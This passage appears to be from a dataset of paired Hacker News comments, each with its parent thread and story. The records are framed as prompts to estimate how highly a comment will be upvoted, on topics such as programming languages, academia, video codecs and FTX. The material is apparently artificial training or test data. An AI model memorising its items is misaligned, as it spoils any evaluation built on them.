Reader</title><url>https://plus.google.com/u/0/103389452828130864950/posts/Br8hk1KjY1U</url><text></text></story> |
11,863,859 | 11,862,888 | 1 | 2 | 11,861,558 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>pcwalton</author><text>As a Rust developer, this strikes me as a really good, and fair, description of the three languages. Thanks for writing it up :)</text><parent_chain><item><author>Symmetry</author><text>I&#x27;ll try to give it a go for Rust, Nim, and Go.<p>Rust: Wants to replace C++ as an expressive systems programming language. Syntax derived from C++. Emphasis on const correctness. Makes use of some functional programming concepts. Extensive metaprogramming. No garbage collection by default. Interface based polymorphism. The type system tracks memory ownership helping to prevent some classes of error at the cost of more cognitive overhead. The standard library is also written in a way that makes it hard to break things. The only one of the three that can easily be used to write libraries that can be called from other programming languages. Medium complexity to learn.<p>Nim: Slightly higher level than Rust. Reference counting garbage collection which can be turned off, but heaps are by default local to threads. Syntax derived from python. Emphasis on const correctness. Extensive compile time evaluation facilities. Object oriented polymorphism (for now). Sadly allows null by default for now. Extensive metaprogramming. Medium complexity to learn.<p>Go: Hightest level of the three. Traditional garbage collector. Interface based polymorphism. Simple and easy to pick up.<p>All three have good stories about multithreading. All three do their best to fix warts in C++ in things like declaration mirrors use syntax. All three start with the chainsaw turned off so you won&#x27;t cut off your foot unless you&#x27;re doing something genuinely dangerous like writing an OS or compiler.<p>For me, I&#x27;d use Rust for writing security critical or OS level things like kernels, system libraries, important utilities, and web browsers. Nim for small team applications where you can afford to be a bit clever and Go for large team projects where cleverness has to be discouraged.<p>I&#x27;m not a huge expert in any of these so there&#x27;s probably important things I&#x27;m overlooking.</text></item><item><author>sdegutis</author><text>There are several languages similar to Nim these days, and they&#x27;re all very exciting. For example, Nim, Rust, D, Go, and probably others I&#x27;m forgetting. Does anyone know of some chart that compares them based on their features and priorities? Maybe something in the spirit of <a href="https:&#x2F;&#x2F;mobile.twitter.com&#x2F;nixcraft&#x2F;status&#x2F;739383796626128896" rel="nofollow">https:&#x2F;&#x2F;mobile.twitter.com&#x2F;nixcraft&#x2F;status&#x2F;73938379662612889...</a> but with more areas of comparison and less trying to be funny?</text></item></parent_chain></comment><story><title>Nim Programming Language 0.14.0 released</title><url>http://nim-lang.org/news/2016_06_07_version_0_14_0_released.html?hn=1</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>michaelcampbell</author><text>Nim feels higher level to me than Go; can you educate me on how you drew the opposite conclusion? Maybe I&#x27;m looking at something wrong.</text><parent_chain><item><author>Symmetry</author><text>I&#x27;ll try to give it a go for Rust, Nim, and Go.<p>Rust: Wants to replace C++ as an expressive systems programming language. Syntax derived from C++. Emphasis on const correctness. Makes use of some functional programming concepts. Extensive metaprogramming. No garbage collection by default. Interface based polymorphism. The type system tracks memory ownership helping to prevent some classes of error at the cost of more cognitive overhead. The standard library is also written in a way that makes it hard to break things. The only one of the three that can easily be used to write libraries that can be called from other programming languages. Medium complexity to learn.<p>Nim: Slightly higher level than Rust. Reference counting garbage collection which can be turned off, but heaps are by default local to threads. Syntax derived from python. Emphasis on const correctness. Extensive compile time evaluation facilities. Object oriented polymorphism (for now). Sadly allows null by default for now. Extensive metaprogramming. Medium complexity to learn.<p>Go: Hightest level of the three. Traditional garbage collector. Interface based polymorphism. Simple and easy to pick up.<p>All three have good stories about multithreading. All three do their best to fix warts in C++ in things like declaration mirrors use syntax. All three start with the chainsaw turned off so you won&#x27;t cut off your foot unless you&#x27;re doing something genuinely dangerous like writing an OS or compiler.<p>For me, I&#x27;d use Rust for writing security critical or OS level things like kernels, system libraries, important utilities, and web browsers. Nim for small team applications where you can afford to be a bit clever and Go for large team projects where cleverness has to be discouraged.<p>I&#x27;m not a huge expert in any of these so there&#x27;s probably important things I&#x27;m overlooking.</text></item><item><author>sdegutis</author><text>There are several languages similar to Nim these days, and they&#x27;re all very exciting. For example, Nim, Rust, D, Go, and probably others I&#x27;m forgetting. Does anyone know of some chart that compares them based on their features and priorities? Maybe something in the spirit of <a href="https:&#x2F;&#x2F;mobile.twitter.com&#x2F;nixcraft&#x2F;status&#x2F;739383796626128896" rel="nofollow">https:&#x2F;&#x2F;mobile.twitter.com&#x2F;nixcraft&#x2F;status&#x2F;73938379662612889...</a> but with more areas of comparison and less trying to be funny?</text></item></parent_chain></comment><story><title>Nim Programming Language 0.14.0 released</title><url>http://nim-lang.org/news/2016_06_07_version_0_14_0_released.html?hn=1</url></story> |
11,197,074 | 11,194,931 | 1 | 3 | 11,194,403 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>Balgair</author><text>That is nearly the opposite of what the PhD was designed to do. Modern academic training comes out of the church and the old guilds of middle Europe and is still in use today in many fields (chefs and plumbers to name a few).<p>The Bachelor&#x27;s degree is loosely similar to an apprentice&#x27;s role. The young boy (they were almost exclusively male) worked in a shop or with a priest for some time. He learned the trade, the tools, and gained some experience from &#x27;level 0&#x27;. When you are done with the apprenticeship, you are &#x27;cleared&#x27; to work in other shops and are known to not be a total moron or break tools or burn down shops.<p>The master&#x27;s degree is just that. You are considered a master of the craft (like plumbing or prinitng) or the discipline (like The Book of Mark or Crusader History). As such, you typically have a master&#x27;s level project. Something that is &#x27;new&#x27; or shows that you know your stuff. That might be a very decorative silver bowl or a thesis.<p>The Doctorate means you are &#x27;world class.&#x27; Not just a mastery in a field, but a paragon of it. Today, that means that you are <i>the</i> expert in your little niche of underwater basket weaving. There should be no-one better than you. This means you MUST have produced something new or novel way of thinking about the God or something. This has always been the idea, if not the practice.<p>To change that and say that the doctorate should be the bachelor&#x27;s is very big. To suggest that PhDs should just replicate experiments is anathema to the idea of graduate education and would be a tremendous waste of time and energy. When you enter the Phd, you are assumed to already know how to do all the replication and the facts about the field. Granted, fields are exponentially larger than they were in the 1600&#x27;s, but you still should know stats and biology if your PhD is in cancer biology.<p>I think you are totally wrong about this. What you are suggesting should be covered in undergrad and I think it largely is.</text><parent_chain><item><author>brownbat</author><text>The job market right now in the US forces grad students to attempt innovative research with remarkable conclusions. As a consequence, everyone&#x27;s trying to prove more outlandish things while few are bothering with replications.<p>If the field were sane, you would train all the apprentices on replication studies. Once they demonstrated dispassionate expertise with the tools, only then would they be allowed to try to use those tools to test their own ideas, where they will have a strong emotional preference for how the study will come out.<p>If universities hired grad students based on their replication work, not on their eye-popping original research, we&#x27;d have better science and better scientists.</text></item></parent_chain></comment><story><title>The Unbearable Asymmetry of Bullshit</title><url>http://quillette.com/2016/02/15/the-unbearable-asymmetry-of-bullshit/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>themartorana</author><text>A lot of the time those same students are doing the bulk of the legwork for those findings then attributed to a professor, who is under greater pressure to advance (not confirm) science, who may or may not have even participated heavily in the grunt work of that research. The professor then punishes the work under his&#x2F;her name, with no credit to the work of the students.</text><parent_chain><item><author>brownbat</author><text>The job market right now in the US forces grad students to attempt innovative research with remarkable conclusions. As a consequence, everyone&#x27;s trying to prove more outlandish things while few are bothering with replications.<p>If the field were sane, you would train all the apprentices on replication studies. Once they demonstrated dispassionate expertise with the tools, only then would they be allowed to try to use those tools to test their own ideas, where they will have a strong emotional preference for how the study will come out.<p>If universities hired grad students based on their replication work, not on their eye-popping original research, we&#x27;d have better science and better scientists.</text></item></parent_chain></comment><story><title>The Unbearable Asymmetry of Bullshit</title><url>http://quillette.com/2016/02/15/the-unbearable-asymmetry-of-bullshit/</url></story> |
12,386,638 | 12,386,543 | 1 | 3 | 12,386,348 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>jjcm</author><text>I&#x27;m sad they skipped out on a 4k resolution test. I&#x27;d really like to see how they compare at those resolutions or higher, since really x265 isn&#x27;t really going to be ubiquitous in hardware for another couple years. At that time 4k should (hopefully) be the standard, or at the very least will be a common use case.</text><parent_chain></parent_chain></comment><story><title>A Sneak Peek Comparison of x264, x265, and libvpx</title><url>http://techblog.netflix.com/2016/08/a-large-scale-comparison-of-x264-x265.html</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>corysama</author><text>&gt; x265 outperforms libvpx for almost all resolutions and quality metrics, but the performance gap narrows (or even reverses) at 1080p.<p>It&#x27;s not clear if this means libvpx is sometimes better than x265 at resolutions &gt; 1080p or &lt;= 1080p. I think the author intended &quot;occasionally better when &lt;= 1080p&quot;</text><parent_chain></parent_chain></comment><story><title>A Sneak Peek Comparison of x264, x265, and libvpx</title><url>http://techblog.netflix.com/2016/08/a-large-scale-comparison-of-x264-x265.html</url></story> |
38,067,467 | 38,066,634 | 1 | 2 | 38,036,061 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>famahar</author><text>I love the idea. The world needs more kind apps. There&#x27;s another app I&#x27;m using called derive which just pins a random place on a map within 10km of me and I have to go there. That&#x27;s it. No extra bells or whistles. The interface is super minimal and it&#x27;s made by one person as a hobby. It encourages exploration.</text><parent_chain></parent_chain></comment><story><title>Notes on making a multiplayer "doing nothing app"</title><url>https://untested.sonnet.io/Sit.%2C+(together)+devlog+002+–+Space+Kalimba</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>mnky9800n</author><text>SCENE JERRY&#x27;S APARTMENT<p>JERRY<p>so the app does nothing<p>ELAINE<p>get out!<p>JERRY<p>no really, the app is about doing nothing<p>GEORGE<p>Jerry did I tell you my parents moved back to del Boca vista? If anyone is doing nothing it&#x27;s them!<p>ELAINE<p>so what do you do with the app if it does nothing<p>JERRY PRESSES A BUTTON ON THE APP AND IT CHIMES. KRAMER BUSTS THROUGH THE DOOR LOOKING CONFUSED.<p>JERRY<p>well it&#x27;s made that a lot more predictable.<p>SEINFELD THEME PLAYS</text><parent_chain></parent_chain></comment><story><title>Notes on making a multiplayer "doing nothing app"</title><url>https://untested.sonnet.io/Sit.%2C+(together)+devlog+002+–+Space+Kalimba</url></story> |
29,950,947 | 29,951,063 | 1 | 2 | 29,950,152 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>mindwok</author><text>The biggest pain with this is when you want to highlight some other text to paste over. For example I use the keyboard method for copying urls and pasting into my address bar, otherwise when you select all on the address bar you copy that instead.</text><parent_chain><item><author>xedrac</author><text>Why bother implementing ctrl+c and ctrl+v in Linux when highlighting text copies it, and middle click pastes it? Ctrl+c feels like the dark ages in comparison.</text></item><item><author>somenewaccount1</author><text>Lol. I came here to say the only thing that matters is that copy and paste in Linux is &#x27;cntrl+shift+c&#x27;. You can try changing it, but your still fucked in most terminals, and then you end up with two key combos depending on context. It&#x27;s a nightmare, and I&#x27;m really glad you have the top comment. Clearly I&#x27;m not alone.</text></item><item><author>im_down_w_otp</author><text>All I want in life is a Linux distro with a package repo full of meticulously reworked &amp; reconfigured packages that make all the keyboard shortcuts across the entire system and every application be like and be as consistent as my old Macs.<p>I&#x27;ve been full-time Linux (Kubuntu) for a few years now, and I&#x27;ve hobbled together something that only irritates me to death about 30% of the time rather than the 100% of the time it used to before spending days and days fiddling with a bunch of different flavors of remapping at nearly every layer of the system.<p>If I&#x27;m ever fabulously wealthy, I already know I&#x27;m just going to finance an open source fastidious spiritual successor to MacOS 10.6<p>I&#x27;m going to give Pop_Os a try, but I suspect I&#x27;m going to run into the same problems I always do. The trouble with Linux as a desktop for me isn&#x27;t weather it&#x27;s beautiful or not. The problem is how disintegrated everything is and the thousand papercuts ways in which it works.<p>That said, I absolutely consider it basically an incredible miracle that the experience is as good as it is, frankly. So, I keep at it.</text></item></parent_chain></comment><story><title>Switching from macOS to Pop_OS</title><url>https://support.system76.com/articles/switch-from-macos-to-popos/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>zamadatix</author><text>I usually use middle paste on a desktop mouse but keyboard paste on a touchpad device. As for copying on highlight it depends how you manage your windows, if you use a traditional floating WM and typically click windows to select them you end up with a lot of single character copies messing with your clipboard. Doubly so in the touchpad case again. Or if you like to highlight to bulk delete&#x2F;replace or if you like to highlight to simply highlight the section on your terminal as you read a manpage or whatever in another window or probably more use cases that didn&#x27;t immediately come to mind.<p>Point being it&#x27;s more about use case matching than one option being the dark ages and another being The One Right Way™. Layer on that some like using clipboard history and others just want a single parking space and it gets even more blurry.</text><parent_chain><item><author>xedrac</author><text>Why bother implementing ctrl+c and ctrl+v in Linux when highlighting text copies it, and middle click pastes it? Ctrl+c feels like the dark ages in comparison.</text></item><item><author>somenewaccount1</author><text>Lol. I came here to say the only thing that matters is that copy and paste in Linux is &#x27;cntrl+shift+c&#x27;. You can try changing it, but your still fucked in most terminals, and then you end up with two key combos depending on context. It&#x27;s a nightmare, and I&#x27;m really glad you have the top comment. Clearly I&#x27;m not alone.</text></item><item><author>im_down_w_otp</author><text>All I want in life is a Linux distro with a package repo full of meticulously reworked &amp; reconfigured packages that make all the keyboard shortcuts across the entire system and every application be like and be as consistent as my old Macs.<p>I&#x27;ve been full-time Linux (Kubuntu) for a few years now, and I&#x27;ve hobbled together something that only irritates me to death about 30% of the time rather than the 100% of the time it used to before spending days and days fiddling with a bunch of different flavors of remapping at nearly every layer of the system.<p>If I&#x27;m ever fabulously wealthy, I already know I&#x27;m just going to finance an open source fastidious spiritual successor to MacOS 10.6<p>I&#x27;m going to give Pop_Os a try, but I suspect I&#x27;m going to run into the same problems I always do. The trouble with Linux as a desktop for me isn&#x27;t weather it&#x27;s beautiful or not. The problem is how disintegrated everything is and the thousand papercuts ways in which it works.<p>That said, I absolutely consider it basically an incredible miracle that the experience is as good as it is, frankly. So, I keep at it.</text></item></parent_chain></comment><story><title>Switching from macOS to Pop_OS</title><url>https://support.system76.com/articles/switch-from-macos-to-popos/</url></story> |
22,588,829 | 22,588,890 | 1 | 3 | 22,588,584 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>chx</author><text>Yes, fare classes is the likely explanation. One could say at a cursory glance &quot;but look, they are both Basic Economy!&quot; I would counter with <a href="https:&#x2F;&#x2F;www.united.com&#x2F;ual&#x2F;en&#x2F;us&#x2F;fly&#x2F;booking&#x2F;flight&#x2F;fare-class.html" rel="nofollow">https:&#x2F;&#x2F;www.united.com&#x2F;ual&#x2F;en&#x2F;us&#x2F;fly&#x2F;booking&#x2F;flight&#x2F;fare-cla...</a><p>&gt; Basic Economy tickets may be booked in various fare classes.</text><parent_chain><item><author>benmarks</author><text>I’m not going to divorce my wife so I can run away with United, but I hope this crew has a lot more than the single example to level these charges I hope they are taking care buckets into consideration (right or wrong, changing this at the IT level can’t be quick or easy). It will be curious to see others replicate this and if so, United’s response, because that would be egregious and certainly something for them to resolve.</text></item></parent_chain></comment><story><title>United hides cheapest flights from passengers affected by Coronavirus</title><url>https://bookwithcarry.com/blog/united-cheap-flights-coronavirus</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>lanpaje</author><text>I was able to replicate this scenario with another booking. Definitely not just a lone incident. United sucks.</text><parent_chain><item><author>benmarks</author><text>I’m not going to divorce my wife so I can run away with United, but I hope this crew has a lot more than the single example to level these charges I hope they are taking care buckets into consideration (right or wrong, changing this at the IT level can’t be quick or easy). It will be curious to see others replicate this and if so, United’s response, because that would be egregious and certainly something for them to resolve.</text></item></parent_chain></comment><story><title>United hides cheapest flights from passengers affected by Coronavirus</title><url>https://bookwithcarry.com/blog/united-cheap-flights-coronavirus</url></story> |
7,235,609 | 7,235,599 | 1 | 2 | 7,234,855 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>nathell</author><text>I have very fond memories of OCaml. It was OCaml that introduced me to functional programming, way back in 2000 in my freshman year at the uni. I&#x27;m a Lisper&#x2F;Clojurian these days, but I think warmly of OCaml&#x27;s type system, the speed, the self-containedness of the distribution, and the fact that getting the code to compile tends to mean getting it to actually work.<p>My #1 gripe with OCaml is the fact that its strings are composed of single-byte characters. I know there&#x27;s Camomile, but not having it as part of the language core creates a sense of disintegration akin to PHP and Python 2.<p>There&#x27;s also this: <a href="http://www.podval.org/~sds/ocaml-sucks.html" rel="nofollow">http:&#x2F;&#x2F;www.podval.org&#x2F;~sds&#x2F;ocaml-sucks.html</a> which I mostly agree with.<p>But, all in all, OCaml rocks.</text><parent_chain></parent_chain></comment><story><title>OCaml: what you gain</title><url>http://roscidus.com/blog/blog/2014/02/13/ocaml-what-you-gain/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>p4bl0</author><text>If you program in OCaml be sure to checkout Batteries [1], it is an extension (which also replaces some stuff) to the standard library which eliminate most of the criticisms I had against OCaml. Also, don&#x27;t try to avoid opam [2], I didn&#x27;t really want to use it at first because I always prefer to use my system&#x27;s package manager (using Debian), but it makes your life so much easier.<p>[1] <a href="http://batteries.forge.ocamlcore.org/" rel="nofollow">http:&#x2F;&#x2F;batteries.forge.ocamlcore.org&#x2F;</a><p>[2] <a href="https://opam.ocaml.org/" rel="nofollow">https:&#x2F;&#x2F;opam.ocaml.org&#x2F;</a></text><parent_chain></parent_chain></comment><story><title>OCaml: what you gain</title><url>http://roscidus.com/blog/blog/2014/02/13/ocaml-what-you-gain/</url></story> |
1,406,674 | 1,406,529 | 1 | 2 | 1,406,462 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>davidw</author><text>Being a site for hackers, and given that Android's source code is available, this is actually a challenge rather than just another internet dick-waving contest, right?<p><i>Edit</i>. Like this: <a href="http://news.ycombinator.com/item?id=1406553" rel="nofollow">http://news.ycombinator.com/item?id=1406553</a></text><parent_chain></parent_chain></comment><story><title>How to take a screenshot</title><url>http://s3.amazonaws.com/data.tumblr.com/tumblr_l3gy7f97Ye1qzpapzo1_1280.png?AWSAccessKeyId=0RYTHV9YYQ4W5Q3HQMG2&Expires=1275803864&Signature=crL3VAhhdyBKuF3NtAe7Xbs26HE%3D</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>chops</author><text>Non-savvy users really get lost at how screenshots work.<p>I have a buddy who's a programmer at publishing house, specializing in niche magazines, and they deal regularly with non-savvy older users. He's got this story about one such customer who was complaining that something wasn't working on the website and when asked to send a screenshot he proceeded to:<p>1) Press PrintScreen
2) Paste it into Word
3) Print it out,
and finally,
4) Fax it to the company.<p>I thought that was kind of related, and rather humorous.</text><parent_chain></parent_chain></comment><story><title>How to take a screenshot</title><url>http://s3.amazonaws.com/data.tumblr.com/tumblr_l3gy7f97Ye1qzpapzo1_1280.png?AWSAccessKeyId=0RYTHV9YYQ4W5Q3HQMG2&Expires=1275803864&Signature=crL3VAhhdyBKuF3NtAe7Xbs26HE%3D</url></story> |
23,561,035 | 23,561,141 | 1 | 2 | 23,560,071 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>esperent</author><text>I trust both of these extensions far more as extensions than I would if they were part of Chrome.</text><parent_chain><item><author>matheusmoreira</author><text>The only trustworthy extensions are uBlock Origin and EFF&#x27;s Privacy Badger. Everything else is best viewed as potential malware, no different than random downloadable executables.<p>Honestly, uBlock Origin and Privacy Badger are so important at this point they should just become part of the browser itself. They&#x27;re already in a league of their own.</text></item><item><author>ThePhysicist</author><text>There is a web intelligence company in Israel that is known to buy popular browser extensions like “Web of Trust” and use them to exfiltrate browsing data (with tons of sensitive and personal information). They have been called out for this several times already and some of their extensions got removed from the store, they invariably turn back up again after a few weeks though (good connections to Google&#x2F;Mozilla I guess). Firefox isn’t better than Chrome in that regard btw as it also turns a blind eye on this kind of data collection.<p>Extensions are ideal to exfiltrate data from browsers as they bypass all security measures and can literally see everything you do on every single page you visit. It still boggles my mind how you can call a browser secure and privacy-friendly (in the case of Firefox) and at the same time allow such blatant abuse for years and years. Me and other people have been pointing this out since at least 2016 and demanded better security controls for plugins &#x2F; extensions but I’m getting really tired of it.</text></item></parent_chain></comment><story><title>Massive spying on users of Google's Chrome shows new security weakness</title><url>https://www.reuters.com/article/us-alphabet-google-chrome-exclusive/exclusive-massive-spying-on-users-of-googles-chrome-shows-new-security-weakness-idUSKBN23P0JO</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>AareyBaba</author><text>What makes uBlock Origin a trustworthy extension ? because it is open-source ?</text><parent_chain><item><author>matheusmoreira</author><text>The only trustworthy extensions are uBlock Origin and EFF&#x27;s Privacy Badger. Everything else is best viewed as potential malware, no different than random downloadable executables.<p>Honestly, uBlock Origin and Privacy Badger are so important at this point they should just become part of the browser itself. They&#x27;re already in a league of their own.</text></item><item><author>ThePhysicist</author><text>There is a web intelligence company in Israel that is known to buy popular browser extensions like “Web of Trust” and use them to exfiltrate browsing data (with tons of sensitive and personal information). They have been called out for this several times already and some of their extensions got removed from the store, they invariably turn back up again after a few weeks though (good connections to Google&#x2F;Mozilla I guess). Firefox isn’t better than Chrome in that regard btw as it also turns a blind eye on this kind of data collection.<p>Extensions are ideal to exfiltrate data from browsers as they bypass all security measures and can literally see everything you do on every single page you visit. It still boggles my mind how you can call a browser secure and privacy-friendly (in the case of Firefox) and at the same time allow such blatant abuse for years and years. Me and other people have been pointing this out since at least 2016 and demanded better security controls for plugins &#x2F; extensions but I’m getting really tired of it.</text></item></parent_chain></comment><story><title>Massive spying on users of Google's Chrome shows new security weakness</title><url>https://www.reuters.com/article/us-alphabet-google-chrome-exclusive/exclusive-massive-spying-on-users-of-googles-chrome-shows-new-security-weakness-idUSKBN23P0JO</url></story> |
17,055,103 | 17,054,530 | 1 | 2 | 17,054,460 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>deepakkarki</author><text>For those curious, DiscoverDev is a fully static site hosted on Netlify. It&#x27;s all handcrafted vanilla HTML and CSS. (The first site I&#x27;ve ever developed, zero design experience, so nothing fancy). Zero lines of Javascript as well :)<p>1. I&#x27;ve written my own crawler+parser which parses selected blogs and publications and then displays new articles to me in a chronological manner in a GUI.<p>2. I select the articles myself, and tag them.<p>3. Then a script sees all the selected articles and generates a JSON file.<p>4. I&#x27;ve written my own static site generator which consumes this JSON and spits out the updated website and RSS.<p>5. I push the changes to my git repo.<p>6. Netlify listens to the git repo and updates my build.<p>7. People see my updated webpage and RSS feed within seconds.<p>Thanks for taking a look.<p>-----<p>Subscribe to the newsletter if you&#x27;re looking forward to receive a weekly digest of interesting articles and resources. You can unsubscribe anytime, I keep my content to the point.</text><parent_chain></parent_chain></comment><story><title>Discover dev – a daily digest of engineering blogs</title><url>https://discoverdev.io</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>deepakkarki</author><text>I curate every weekday, 8-10 high quality links. Been doing this for about an year! Feel free to ask me any questions.<p>Mailing list : <a href="https:&#x2F;&#x2F;www.discoverdev.io&#x2F;subscribe" rel="nofollow">https:&#x2F;&#x2F;www.discoverdev.io&#x2F;subscribe</a><p>RSS feed : <a href="https:&#x2F;&#x2F;www.discoverdev.io&#x2F;rss.xml" rel="nofollow">https:&#x2F;&#x2F;www.discoverdev.io&#x2F;rss.xml</a></text><parent_chain></parent_chain></comment><story><title>Discover dev – a daily digest of engineering blogs</title><url>https://discoverdev.io</url></story> |
28,021,342 | 28,020,460 | 1 | 2 | 28,019,150 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>spaetzleesser</author><text>On the other hand a good marketing person is worth gold. In one company I contracted at they had a marketing person who was super proactive and really worked social media , the press and other channels. She pretty much singlehandedly made the company into a known player in their field. Same probably goes for good salespeople. But there aren’t too many people of that caliber. Most just go through the motions.</text><parent_chain><item><author>citizenpaul</author><text>&gt; amazed that companies haven&#x27;t figured out that advertisements are far less effective than they claim to be<p>I was once asked to do some stats on the marketing effectiveness of a company I was at. Not my job but I really hated a couple of the people in the marketing dept so I went at the task anyway. I had long had suspicious that the advertising was mostly smoke and mirrors so I was glad to find out that I was right. There was basically no correlation to sales and marketing spending, campaigns or anything they were doing. Except for a couple of basic common sense ad placements. They were wasting millions a year.<p>What do you think happened? Surprise happy ending. At the end of the year they shut down the marketing dept and outsourced the basic ad placements for a fixed fee.</text></item><item><author>grae_QED</author><text>Good. I hope they all go out of business. Their predatory practices are the reason why social media is so toxic. I&#x27;m honestly amazed that companies haven&#x27;t figured out that advertisements are far less effective than they claim to be and they are probably over spending on them [1].<p>[1] <a href="https:&#x2F;&#x2F;www.kellogg.northwestern.edu&#x2F;faculty&#x2F;research&#x2F;researchdetail?guid=ea2451f1-08f0-11e7-9872-0050569b3e41" rel="nofollow">https:&#x2F;&#x2F;www.kellogg.northwestern.edu&#x2F;faculty&#x2F;research&#x2F;resear...</a></text></item></parent_chain></comment><story><title>As lockdowns lift, media firms brace for an “attention recession”</title><url>https://www.economist.com/international/2021/07/01/as-lockdowns-lift-media-firms-brace-for-an-attention-recession</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>grawprog</author><text>At my old shop we had a &#x27;marketing&#x27; person for a bit. She was supposed to run the social media profiles, keep the website updated, post ads and stuff.<p>Pretty sure she did literally actually nothing the entire time she was there until they started having her double up on reception duties on Saturdays.<p>She ended up leaving because she moved away somewhere. Needless to say, they did not hire another marketing person.</text><parent_chain><item><author>citizenpaul</author><text>&gt; amazed that companies haven&#x27;t figured out that advertisements are far less effective than they claim to be<p>I was once asked to do some stats on the marketing effectiveness of a company I was at. Not my job but I really hated a couple of the people in the marketing dept so I went at the task anyway. I had long had suspicious that the advertising was mostly smoke and mirrors so I was glad to find out that I was right. There was basically no correlation to sales and marketing spending, campaigns or anything they were doing. Except for a couple of basic common sense ad placements. They were wasting millions a year.<p>What do you think happened? Surprise happy ending. At the end of the year they shut down the marketing dept and outsourced the basic ad placements for a fixed fee.</text></item><item><author>grae_QED</author><text>Good. I hope they all go out of business. Their predatory practices are the reason why social media is so toxic. I&#x27;m honestly amazed that companies haven&#x27;t figured out that advertisements are far less effective than they claim to be and they are probably over spending on them [1].<p>[1] <a href="https:&#x2F;&#x2F;www.kellogg.northwestern.edu&#x2F;faculty&#x2F;research&#x2F;researchdetail?guid=ea2451f1-08f0-11e7-9872-0050569b3e41" rel="nofollow">https:&#x2F;&#x2F;www.kellogg.northwestern.edu&#x2F;faculty&#x2F;research&#x2F;resear...</a></text></item></parent_chain></comment><story><title>As lockdowns lift, media firms brace for an “attention recession”</title><url>https://www.economist.com/international/2021/07/01/as-lockdowns-lift-media-firms-brace-for-an-attention-recession</url></story> |
33,743,444 | 33,743,813 | 1 | 2 | 33,742,919 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>toomuchtodo</author><text>Please make sure this information makes it to sentencing when Bankman-Fried’s trial concludes.</text><parent_chain><item><author>muglug</author><text>I just heard that a guy I knew committed suicide over the FTX implosion. He was a weath adviser with a bunch of his clients&#x27; money tied up there.<p>FTX fucked with peoples&#x27; livelihoods, and by extension their lives.<p>Edit: just to clarify, it was his decision to park his clients&#x27; money there. But FTX spent a lot of money courting retail investors with slick campaigns. A superbowl ad that implied people were stupid <i>not</i> to participate. Big Silicon Valley VC firms imbued SBF with the aura of a wunderkind who could do no wrong.</text></item></parent_chain></comment><story><title>Bankman-Fried being invited to speak at a New York Times event alongside Yellen</title><url>https://www.nytimes.com/events/dealbook-summit</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>wstuartcl</author><text>A wealth advisor that is directing clients to crypo has more problems than FTX.<p>Sorry for your loss.</text><parent_chain><item><author>muglug</author><text>I just heard that a guy I knew committed suicide over the FTX implosion. He was a weath adviser with a bunch of his clients&#x27; money tied up there.<p>FTX fucked with peoples&#x27; livelihoods, and by extension their lives.<p>Edit: just to clarify, it was his decision to park his clients&#x27; money there. But FTX spent a lot of money courting retail investors with slick campaigns. A superbowl ad that implied people were stupid <i>not</i> to participate. Big Silicon Valley VC firms imbued SBF with the aura of a wunderkind who could do no wrong.</text></item></parent_chain></comment><story><title>Bankman-Fried being invited to speak at a New York Times event alongside Yellen</title><url>https://www.nytimes.com/events/dealbook-summit</url></story> |
27,667,966 | 27,668,297 | 1 | 3 | 27,664,911 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>lazzlazzlazz</author><text>I couldn&#x27;t disagree more. All of the projects I listed have radically different mechanisms, failure conditions, capital efficiencies, and value capture abilities. It&#x27;s a fascinating space that is in its infancy.<p>And you&#x27;re missing projects that aren&#x27;t pegged to the dollar, but instead have dampened volatility floating price targets — like Reflexer and OlympusDAO.<p>It&#x27;s a rich, beautiful corner of a rapidly growing space.</text><parent_chain><item><author>pavel_lishin</author><text>Because there&#x27;s nothing <i>interesting</i> about them. They&#x27;re just another variation on the same ol&#x27; &quot;we peg our value to the dollar(*)!&quot; pitch.<p>The interesting stuff happens when they fail.</text></item><item><author>lazzlazzlazz</author><text>There are more than $100b of stablecoins — 285x year-over-year growth — with a variety of very interesting and high-quality stablecoins proliferating. And of course, Hacker News focuses on some garbage project nobody in the space even followed.<p>How is there no discussion about FRAX, Maker&#x27;s DAI, USDC, CRV&#x27;s 3pool token, Liquity&#x27;s LUSD, and so many other interesting 